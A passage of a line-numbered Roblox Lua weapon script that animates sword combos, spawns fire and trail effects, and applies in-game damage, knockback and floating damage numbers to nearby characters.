7952 | RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(147-67*i), math.rad(45), math.rad(17.5+27.5*i)) | |
7953 | end | |
7954 | LWFunc() | |
7955 | for i = 0 , 1 , 0.1 do | |
7956 | wait() | |
7957 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(45-90*i)) | |
7958 | LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45*i)) | |
7959 | end | |
7960 | attack = false | |
7961 | end | |
7962 | ||
7963 | if (script.Parent.className ~= "HopperBin") then | |
7964 | Tool = Instance.new("HopperBin") | |
7965 | Tool.Parent = Backpack | |
7966 | Tool.Name = ToolName | |
7967 | script.Parent = Tool | |
7968 | end | |
7969 | Bin = script.Parent | |
7970 | ||
7971 | function damagesplat(dmg,hit,critornot,healornot) | |
7972 | local OffsetX = -2.5 | |
7973 | local OffsetY = 5 | |
7974 | local OffsetZ = 0 | |
7975 | local bill = Instance.new("BillboardGui") | |
7976 | bill.Size = UDim2.new(1,0,1,0) | |
7977 | bill.Adornee = hit | |
7978 | bill.StudsOffset = Vector3.new(OffsetX,OffsetY,OffsetZ) | |
7979 | bill.Parent = hit.Parent | |
7980 | bill.Name = "DamageSplat" | |
7981 | local tex = Instance.new("TextLabel") | |
7982 | tex.Size = UDim2.new(5,0,2.5,0) | |
7983 | tex.Parent = bill | |
7984 | tex.Text = dmg | |
7985 | tex.BackgroundTransparency = 1 | |
7986 | tex.ZIndex = 4 | |
7987 | tex.FontSize = "Size24" | |
7988 | local tex2 = Instance.new("ImageLabel") | |
7989 | tex2.Size = UDim2.new(1,0,1,0) | |
7990 | tex2.Parent = tex | |
7991 | tex2.BackgroundTransparency = 1 | |
7992 | tex2.Image = "http://www.roblox.com/asset/?id=42611276" | |
7993 | if critornot == true then | |
7994 | tex.TextColor3 = Color3.new(1,0.2,0.2) | |
7995 | elseif critornot == false then | |
7996 | tex.TextColor3 = Color3.new(0,0,0) | |
7997 | end | |
7998 | if healornot == true then | |
7999 | tex.TextColor3 = Color3.new(0.2,0.5,0.5) | |
8000 | end | |
8001 | coroutine.resume(coroutine.create(function() | |
8002 | wait(0.25) | |
8003 | for i = 0 , 1 , 0.075 do | |
8004 | wait() | |
8005 | bill.StudsOffset = Vector3.new(OffsetX,OffsetY+5*i,OffsetZ) | |
8006 | tex.TextTransparency = 1*i | |
8007 | end | |
8008 | bill.Parent = nil | |
8009 | end)) | |
8010 | end | |
8011 | function FireEff(Part,Time,Color1,Color2,Color3) | |
8012 | local Firee = Part | |
8013 | local Spawn = Part | |
8014 | local colors = {} | |
8015 | if Color1 ~= nil then | |
8016 | table.insert(colors,BrickColor.new(Color1)) | |
8017 | end | |
8018 | if Color2 ~= nil then | |
8019 | table.insert(colors,BrickColor.new(Color2)) | |
8020 | end | |
8021 | if Color3 ~= nil then | |
8022 | table.insert(colors,BrickColor.new(Color3)) | |
8023 | end | |
8024 | if Color4 ~= nil then | |
8025 | table.insert(colors,BrickColor.new(Color4)) | |
8026 | end | |
8027 | local Embers = {} | |
8028 | local modelz = Instance.new("Model",Firee) | |
8029 | modelz.Name = "FireHolder" | |
8030 | for X = 1, 3 do | |
8031 | local f = Instance.new("Part") | |
8032 | f.Parent = nil | |
8033 | f.BrickColor = colors[math.random(1, # colors)] | |
8034 | f.Size = Vector3.new(1,1,1) | |
8035 | f.formFactor = 1 | |
8036 | f.Anchored = true | |
8037 | f.Locked = true | |
8038 | f.CanCollide = false | |
8039 | f.Transparency = 0.5 | |
8040 | f.Name = "Fire" | |
8041 | f.TopSurface = 0 | |
8042 | f.BottomSurface = 0 | |
8043 | table.insert(Embers, f) | |
8044 | end | |
8045 | local R = 0 | |
8046 | coroutine.resume(coroutine.create(function () | |
8047 | repeat | |
8048 | wait() | |
8049 | R = R + 1 | |
8050 | for X = 1, # Embers do | |
8051 | Embers[X].Parent = modelz | |
8052 | local FM = math.fmod(R + X, # Embers) | |
8053 | if FM == 1 then | |
8054 | RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10) | |
8055 | RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100)) | |
8056 | Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, Spawn.Position + RandPos + RandDir) | |
8057 | else | |
8058 | Embers[X].CFrame = CFrame.new(Embers[X].Position + Vector3.new(0,0.5,0), Embers[X].Position + Vector3.new(0,0.5,0) + Embers[X].CFrame.lookVector) | |
8059 | end | |
8060 | end | |
8061 | until R == Time | |
8062 | for i = 0 ,1 , 0.1 do | |
8063 | wait(0.2) | |
8064 | for X = 1, # Embers do | |
8065 | Embers[X].Transparency = 0.5+0.5*i | |
8066 | end | |
8067 | end | |
8068 | for X = 1, # Embers do | |
8069 | Embers[X].Parent = nil | |
8070 | end | |
8071 | end)) | |
8072 | end | |
8073 | ||
8074 | function OT(hit) --Normal Damage | |
8075 | if Hitdeb == 1 then return end | |
8076 | if hit.Parent == nil then return end | |
8077 | local hum = hit.Parent:findFirstChild("Humanoid") | |
8078 | if hum ~= nil and hum ~= Character.Humanoid then | |
8079 | local critrandomizer = math.random(1,crtrate) | |
8080 | if critrandomizer ~= 1 then | |
8081 | local rndmdamage = math.random(mindamage,maxdamage) | |
8082 | damagesplat(rndmdamage,hit,false) | |
8083 | hum:TakeDamage(rndmdamage) | |
8084 | elseif critrandomizer == 1 then | |
8085 | local rndmdamage = math.random(maxdamage,crtmaxdamage) | |
8086 | damagesplat(rndmdamage,hit,true) | |
8087 | hum:TakeDamage(rndmdamage) | |
8088 | end | |
8089 | Hitdeb = 1 | |
8090 | end | |
8091 | end | |
8092 | ||
8093 | function OTND(part) --No Debounce Damage | |
8094 | coroutine.resume(coroutine.create(function() | |
8095 | local dd = false | |
8096 | while part.Parent ~= nil and not dd do | |
8097 | wait() | |
8098 | local c = game.Workspace:GetChildren(); | |
8099 | for i = 1, #c do | |
8100 | local hum = c[i]:findFirstChild("Humanoid") | |
8101 | if hum ~= nil and hum.Health ~= 0 then | |
8102 | local head = c[i]:findFirstChild("Torso"); | |
8103 | if head ~= nil then | |
8104 | local targ = head.Position - part.Position; ------------------------------------------------Local | |
8105 | local mag = targ.magnitude; | |
8106 | if mag <= 5 and c[i].Name ~= Player.Name then | |
8107 | dd = true | |
8108 | local rndmdamage = math.random(1,7+5*math.random()) + fireboost | |
8109 | damagesplat(rndmdamage,head,false) | |
8110 | hum:TakeDamage(rndmdamage) | |
8111 | FireEff(head,150,"Bright red","Bright orange","Cool yellow") | |
8112 | part.Parent = nil | |
8113 | ||
8114 | end | |
8115 | end | |
8116 | end | |
8117 | end | |
8118 | end | |
8119 | end)) | |
8120 | end | |
8121 | ||
8122 | function AoE(p,magnitude,damage,critornot) | |
8123 | local c = game.Workspace:GetChildren(); | |
8124 | for i = 1, #c do | |
8125 | local hum = c[i]:findFirstChild("Humanoid") | |
8126 | if hum ~= nil and hum.Health ~= 0 then | |
8127 | local head = c[i]:findFirstChild("Head"); | |
8128 | if head ~= nil then | |
8129 | local targ = head.Position - p; | |
8130 | local mag = targ.magnitude; | |
8131 | if mag <= magnitude and c[i].Name ~= Character.Name then | |
8132 | local foundd = false | |
8133 | for ii = 1 , #AoETrue do | |
8134 | if AoETrue[ii] == c[i].Name then | |
8135 | --delay(1,function() table.remove(AoETrue,ii) end) | |
8136 | --blast(2.5,0.5,"Bright red",prt2,false) | |
8137 | foundd = true | |
8138 | end | |
8139 | end | |
8140 | if foundd then | |
8141 | end | |
8142 | -- | |
8143 | if not foundd then | |
8144 | hum:TakeDamage(damage) | |
8145 | damagesplat(damage,head,critornot) | |
8146 | table.insert(AoETrue,c[i].Name) | |
8147 | --blast(2.5,0.5,"Bright red",prt2) | |
8148 | end | |
8149 | end | |
8150 | end | |
8151 | end | |
8152 | end | |
8153 | end | |
8154 | function AoEP(p,magnitude,damage,critornot) | |
8155 | local c = game.Workspace:GetChildren(); | |
8156 | for i = 1, #c do | |
8157 | local hum = c[i]:findFirstChild("Humanoid") | |
8158 | if hum ~= nil and hum.Health ~= 0 then | |
8159 | local head = c[i]:findFirstChild("Head"); | |
8160 | if head ~= nil then | |
8161 | local targ = head.Position - p; | |
8162 | local mag = targ.magnitude; | |
8163 | if mag <= magnitude and c[i].Name ~= Character.Name then | |
8164 | local foundd = false | |
8165 | for ii = 1 , #AoETrue do | |
8166 | if AoETrue[ii] == c[i].Name then | |
8167 | --delay(1,function() table.remove(AoETrue,ii) end) | |
8168 | --blast(2.5,0.5,"Bright red",prt2,false) | |
8169 | foundd = true | |
8170 | end | |
8171 | end | |
8172 | if foundd then | |
8173 | end | |
8174 | -- | |
8175 | if not foundd then | |
8176 | hum:TakeDamage(damage) | |
8177 | damagesplat(damage,head,critornot) | |
8178 | c[i].Humanoid.Sit = true | |
8179 | coroutine.resume(coroutine.create(function() | |
8180 | local bp = Instance.new("BodyVelocity",c[i].Torso) | |
8181 | bp.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
8182 | bp.P = bp.P*2 | |
8183 | bp.velocity = CFrame.new(c[i].Torso.Position , p).lookVector * 150 + Vector3.new(0,25,0) | |
8184 | coroutine.resume(coroutine.create(function() | |
8185 | for i=1, | |
8186 | bp.velocity.y/3 do | |
8187 | bp.velocity = bp.velocity+Vector3.new(0,-4.25,0) | |
8188 | wait() | |
8189 | end | |
8190 | bp.Parent = nil | |
8191 | end)) | |
8192 | c[i].Torso.RotVelocity = CFrame.new(c[i].Torso.Position , p).lookVector * 25 | |
8193 | wait(0.4) c[i].Humanoid.Sit = false end)) | |
8194 | table.insert(AoETrue,c[i].Name) | |
8195 | end | |
8196 | end | |
8197 | end | |
8198 | end | |
8199 | end | |
8200 | end | |
8201 | -- | |
8202 | ||
8203 | local LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8204 | function effect(Color,Ref,LP,P1,returnn) | |
8205 | local effectsmsh = Instance.new("BlockMesh") | |
8206 | effectsmsh.Scale = Vector3.new(0.5,1,0.5) | |
8207 | effectsmsh.Name = "Mesh" | |
8208 | local effectsg = Instance.new("Part") | |
8209 | effectsg.formFactor = 3 | |
8210 | effectsg.CanCollide = false | |
8211 | effectsg.Name = "Eff" | |
8212 | effectsg.Locked = true | |
8213 | effectsg.Anchored = true | |
8214 | effectsg.Size = Vector3.new(0.2,1,0.2) | |
8215 | effectsg.Parent = swordholder | |
8216 | effectsmsh.Parent = effectsg | |
8217 | effectsg.BrickColor = BrickColor.new(Color) | |
8218 | effectsg.Reflectance = Ref | |
8219 | local point1 = P1 | |
8220 | local mg = (LP.p - point1.p).magnitude | |
8221 | effectsg.Size = Vector3.new(0.2,mg,0.2) | |
8222 | effectsg.CFrame = CFrame.new((LP.p+point1.p)/2,point1.p) * CFrame.Angles(math.rad(90),0,0) | |
8223 | if returnn then return effectsg end | |
8224 | coroutine.resume(coroutine.create(function() | |
8225 | if not returnn then | |
8226 | for i = 0 , 1 , 0.1 do | |
8227 | wait() | |
8228 | effectsg.Transparency = 1*i | |
8229 | end | |
8230 | wait() | |
8231 | effectsg.Parent = nil | |
8232 | end | |
8233 | end)) | |
8234 | end | |
8235 | ||
8236 | con = nil | |
8237 | function dmgcnnct(p) | |
8238 | con = p.Touched:connect(OT) | |
8239 | end | |
8240 | function dmgdc() | |
8241 | if con ~= nil then | |
8242 | con:disconnect() | |
8243 | Hitdeb = 0 | |
8244 | end | |
8245 | end | |
8246 | function atktype(s,e) | |
8247 | coroutine.resume(coroutine.create(function () | |
8248 | attacktype = e | |
8249 | wait(0.5) | |
8250 | repeat wait() until attack | |
8251 | attacktype = s | |
8252 | end)) | |
8253 | end | |
8254 | ||
8255 | hold = false | |
8256 | function Combo1a() | |
8257 | attack=true | |
8258 | for i = 0 , 1 , 0.1 do | |
8259 | wait() | |
8260 | RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+45*i)) | |
8261 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(10*i), math.rad(0)) | |
8262 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45+45*i),math.rad(45-20*i)) | |
8263 | end | |
8264 | dmgcnnct(hitbox) | |
8265 | ss(Head,1.5) | |
8266 | for i = 0 , 1 , 0.2 do | |
8267 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8268 | wait() | |
8269 | RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
8270 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10+35*i), math.rad(0)) | |
8271 | LW.C0 = CFrame.new(-1+1*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(25+65*i)) | |
8272 | effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8273 | end | |
8274 | dmgdc() | |
8275 | for i = 0 , 1 , 0.2 do | |
8276 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8277 | wait() | |
8278 | RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
8279 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(45+5*i), math.rad(0)) | |
8280 | LW.C0 = CFrame.new(-0.25*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(90+10*i)) | |
8281 | effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8282 | end | |
8283 | attacktype = 2 | |
8284 | coroutine.resume(coroutine.create(function () | |
8285 | wait(0.25) | |
8286 | attacktype = 1 | |
8287 | end)) | |
8288 | attack=false | |
8289 | wait(0.15) | |
8290 | wait() | |
8291 | for i = 0 , 1 , 0.1 do | |
8292 | if not attack then | |
8293 | wait() | |
8294 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i)) | |
8295 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-110*i), math.rad(50-50*i), math.rad(0)) | |
8296 | LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(100-55*i)) | |
8297 | end | |
8298 | end | |
8299 | ||
8300 | end | |
8301 | function Combo1b() | |
8302 | attack=true | |
8303 | for i = 0 , 1 , 0.1 do | |
8304 | wait() | |
8305 | RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
8306 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-155*i), math.rad(50-40*i), math.rad(0)) | |
8307 | LW.C0 = CFrame.new(-0.25-0.75*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(100-50*i)) | |
8308 | end | |
8309 | ||
8310 | cs(Head,1.5) | |
8311 | local tempmod = Instance.new("Model",swordholder) | |
8312 | for l = 1 , 20 do | |
8313 | local meshz = Instance.new("SpecialMesh") | |
8314 | meshz.Scale = Vector3.new(0.5,0.5,0.5) | |
8315 | meshz.MeshType = "Sphere" | |
8316 | local shellz = Instance.new("Part") | |
8317 | meshz.Parent = shellz | |
8318 | shellz.Anchored = false | |
8319 | shellz.formFactor = 0 | |
8320 | shellz.Size = Vector3.new(1,1,1) | |
8321 | shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) | |
8322 | shellz.Parent = tempmod | |
8323 | shellz.Transparency = 0.5 | |
8324 | shellz.BrickColor = BrickColor.new("Bright violet") | |
8325 | shellz.CanCollide = false | |
8326 | shellz.Reflectance = 0.25 | |
8327 | local bv = Instance.new("BodyPosition") | |
8328 | bv.Parent = shellz | |
8329 | bv.maxForce = Vector3.new(200000,200000,200000) | |
8330 | bv.position = shellz.Position | |
8331 | coroutine.resume(coroutine.create(function() | |
8332 | for i = 0 , 1 , 0.025 do | |
8333 | wait() | |
8334 | shellz.Transparency = 1-1*i | |
8335 | end | |
8336 | shellz.Transparency = 0 | |
8337 | end)) | |
8338 | coroutine.resume(coroutine.create(function() | |
8339 | wait(0.05) | |
8340 | bv.position = hitbox.Position | |
8341 | for i = 1 , 20 do | |
8342 | wait(0.1) | |
8343 | bv.position = shell.Position | |
8344 | end | |
8345 | shellz.Parent = nil | |
8346 | end)) | |
8347 | wait(0.01) | |
8348 | end | |
8349 | coroutine.resume(coroutine.create(function () | |
8350 | wait(0.25) | |
8351 | tempmod.Parent = nil | |
8352 | end)) | |
8353 | for i = 0 , 1 , 0.2 do | |
8354 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8355 | wait() | |
8356 | RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(0)) | |
8357 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i), math.rad(10), math.rad(0)) | |
8358 | LW.C0 = CFrame.new(-1+1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(0),math.rad(50+40*i)) | |
8359 | effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8360 | end | |
8361 | local gyro = Instance.new("BodyGyro") | |
8362 | gyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge) | |
8363 | gyro.P = gyro.P + 10000 | |
8364 | local CF = Torso.CFrame | |
8365 | gyro.cframe = CF | |
8366 | gyro.Parent = Torso | |
8367 | dmgcnnct(hitbox) | |
8368 | ss(Head,1) | |
8369 | for i = 0 , 1 , 0.1 do | |
8370 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8371 | wait() | |
8372 | gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0) | |
8373 | effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8374 | end | |
8375 | ss(Head,1) | |
8376 | Hitdeb = 0 | |
8377 | for i = 0 , 1 , 0.1 do | |
8378 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8379 | wait() | |
8380 | gyro.cframe = CF * CFrame.Angles(0,math.rad(-360*i),0) | |
8381 | effect("Really red",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8382 | end | |
8383 | dmgdc() | |
8384 | attacktype = 3 | |
8385 | coroutine.resume(coroutine.create(function () | |
8386 | wait(0.5) | |
8387 | attacktype = 1 | |
8388 | end)) | |
8389 | wait(0.15) | |
8390 | wait() | |
8391 | gyro.Parent = nil | |
8392 | attack=false | |
8393 | for i = 0 , 1 , 0.1 do | |
8394 | if not attack then | |
8395 | wait() | |
8396 | RW.C0 = CFrame.new(0.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(90-45*i), math.rad(-45*i)) | |
8397 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0)) | |
8398 | LW.C0 = CFrame.new(0.5-1.5*i,0.5,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45*i),math.rad(50-5*i)) | |
8399 | end | |
8400 | end | |
8401 | end | |
8402 | ||
8403 | function Combo1c() | |
8404 | attack=true | |
8405 | local bp = Instance.new("BodyPosition") | |
8406 | bp.maxForce = Vector3.new(math.huge,math.huge,math.huge) | |
8407 | bp.P = bp.P + 10000 | |
8408 | local CF = Torso.CFrame | |
8409 | bp.position = CF.p | |
8410 | bp.Parent = Torso | |
8411 | RWLFunc() | |
8412 | LWLFunc() | |
8413 | for zz = 1 , 2 do | |
8414 | local mesh = Instance.new("SpecialMesh") | |
8415 | mesh.MeshType = "FileMesh" | |
8416 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
8417 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01) | |
8418 | local shell = Instance.new("Part") | |
8419 | mesh.Parent = shell | |
8420 | shell.Anchored = true | |
8421 | shell.formFactor = 1 | |
8422 | shell.Size = Vector3.new(1,1,1) | |
8423 | shell.CFrame = Torso.CFrame * CFrame.Angles(0,0.5*zz,0) + Vector3.new(0,-2.5,0) -- + shellspawn.CFrame.lookVector * 2 | |
8424 | shell.Parent = swordholder | |
8425 | shell.Transparency = 0 | |
8426 | shell.BrickColor = BrickColor.new("White") | |
8427 | shell.CanCollide = false | |
8428 | coroutine.resume(coroutine.create(function() | |
8429 | for i = 0 , 1 , 0.05 do | |
8430 | wait() | |
8431 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i) | |
8432 | shell.Transparency = 1*i | |
8433 | end | |
8434 | shell.Transparency = 1 | |
8435 | shell.Parent = nil | |
8436 | end)) | |
8437 | end | |
8438 | for i = 0 , 1 , 0.1 do | |
8439 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8440 | wait() | |
8441 | RW.C0 = CFrame.new(0.5+0.5*i,0.5+1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i), math.rad(90-90*i), math.rad(-45*i)) | |
8442 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-90*i), math.rad(10-10*i), math.rad(0)) | |
8443 | LW.C0 = CFrame.new(0.5-1.5*i,0.5+1*i,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90+100*i),math.rad(0),math.rad(50-5*i)) | |
8444 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
8445 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2) | |
8446 | bp.position = CF.p + Vector3.new(0,10,0) | |
8447 | RWL.C0 = CFrame.new(1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0)) | |
8448 | LWL.C0 = CFrame.new(-1, -1, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-20*i), math.rad(0), math.rad(0)) | |
8449 | prt8.Transparency = 1-1*i | |
8450 | effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8451 | end | |
8452 | cs(Head,1.5) | |
8453 | coroutine.resume(coroutine.create(function () | |
8454 | local tempmod = Instance.new("Model",swordholder) | |
8455 | for l = 1 , 20 do | |
8456 | local meshz = Instance.new("SpecialMesh") | |
8457 | meshz.Scale = Vector3.new(1.5,1.5,1.5) | |
8458 | meshz.MeshType = "Sphere" | |
8459 | local shellz = Instance.new("Part") | |
8460 | meshz.Parent = shellz | |
8461 | shellz.Anchored = false | |
8462 | shellz.formFactor = 0 | |
8463 | shellz.Size = Vector3.new(1,1,1) | |
8464 | shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-15,15),math.random(-15,15),math.random(-15,15)) | |
8465 | shellz.Parent = tempmod | |
8466 | shellz.Transparency = 0.5 | |
8467 | shellz.BrickColor = BrickColor.new("Really black") | |
8468 | shellz.CanCollide = false | |
8469 | shellz.Reflectance = 0 | |
8470 | local bv = Instance.new("BodyPosition") | |
8471 | bv.Parent = shellz | |
8472 | bv.maxForce = Vector3.new(200000,200000,200000) | |
8473 | bv.position = shellz.Position | |
8474 | local hx = false | |
8475 | coroutine.resume(coroutine.create(function() | |
8476 | for i = 0 , 1 , 0.05 do | |
8477 | wait() | |
8478 | shellz.Transparency = 1-1*i | |
8479 | end | |
8480 | shellz.Transparency = 0 | |
8481 | end)) | |
8482 | coroutine.resume(coroutine.create(function() | |
8483 | wait(0.05) | |
8484 | bv.position = hitbox.Position | |
8485 | for i = 1 , 20 do | |
8486 | wait(0.1) | |
8487 | bv.position = shell.Position | |
8488 | end | |
8489 | shellz.Parent = nil | |
8490 | end)) | |
8491 | wait(0.01) | |
8492 | end | |
8493 | coroutine.resume(coroutine.create(function () | |
8494 | repeat wait() until hx | |
8495 | tempmod.Parent = nil | |
8496 | end)) | |
8497 | end)) | |
8498 | for i = 0 , 1 , 0.1 do | |
8499 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8500 | wait() | |
8501 | RW.C0 = CFrame.new(1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i), math.rad(0), math.rad(-45)) | |
8502 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8503 | LW.C0 = CFrame.new(-1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i),math.rad(0),math.rad(45)) | |
8504 | effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8505 | end | |
8506 | for i = 0 , 1 , 0.1 do | |
8507 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
8508 | wait() | |
8509 | RW.C0 = CFrame.new(1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i), math.rad(0), math.rad(-45)) | |
8510 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
8511 | LW.C0 = CFrame.new(-1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i),math.rad(0),math.rad(45)) | |
8512 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
8513 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(45)) * CFrame.new(0, 0, 0.2) | |
8514 | bp.position = CF.p + CF.lookVector * 2.5 + Vector3.new(0,-1,0) | |
8515 | RWL.C0 = CFrame.new(1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0)) | |
8516 | LWL.C0 = CFrame.new(-1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0)) | |
8517 | effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0)) | |
8518 | end | |
8519 | hx = true | |
8520 | wait(0.1) | |
8521 | local Hit,A, B = Raycast(hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 1 ,hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 101 ,100) | |
8522 | local effectsmsh = Instance.new("CylinderMesh") | |
8523 | effectsmsh.Scale = Vector3.new(1,1,1) | |
8524 | local effectsg = Instance.new("Part") | |
8525 | effectsg.formFactor = 3 | |
8526 | effectsg.CanCollide = false | |
8527 | effectsg.Name = "LAZOR" | |
8528 | effectsg.Locked = true | |
8529 | effectsg.Anchored = true | |
8530 | effectsg.Parent = swordholder | |
8531 | effectsmsh.Parent = effectsg | |
8532 | effectsg.BrickColor = BrickColor.new("Black") | |
8533 | effectsg.Reflectance = 0.5 | |
8534 | local point1 = B | |
8535 | local point0 = A | |
8536 | for zz = 1 , 5 do | |
8537 | local mesh = Instance.new("SpecialMesh") | |
8538 | mesh.MeshType = "FileMesh" | |
8539 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
8540 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01) | |
8541 | local shell = Instance.new("Part") | |
8542 | mesh.Parent = shell | |
8543 | shell.Anchored = true | |
8544 | shell.formFactor = 1 | |
8545 | shell.Size = Vector3.new(1,1,1) | |
8546 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 2 | |
8547 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0.5*zz,0) | |
8548 | shell.Parent = swordholder | |
8549 | shell.Transparency = 0 | |
8550 | if math.fmod(zz,2) == 0 then | |
8551 | shell.BrickColor = BrickColor.new("Really black") | |
8552 | else | |
8553 | shell.BrickColor = BrickColor.new("Bright violet") | |
8554 | end | |
8555 | shell.CanCollide = false | |
8556 | coroutine.resume(coroutine.create(function() | |
8557 | for i = 0 , 1 , 0.01 do | |
8558 | wait() | |
8559 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i) | |
8560 | shell.Transparency = 1*i | |
8561 | end | |
8562 | shell.Transparency = 1 | |
8563 | shell.Parent = nil | |
8564 | end)) | |
8565 | end | |
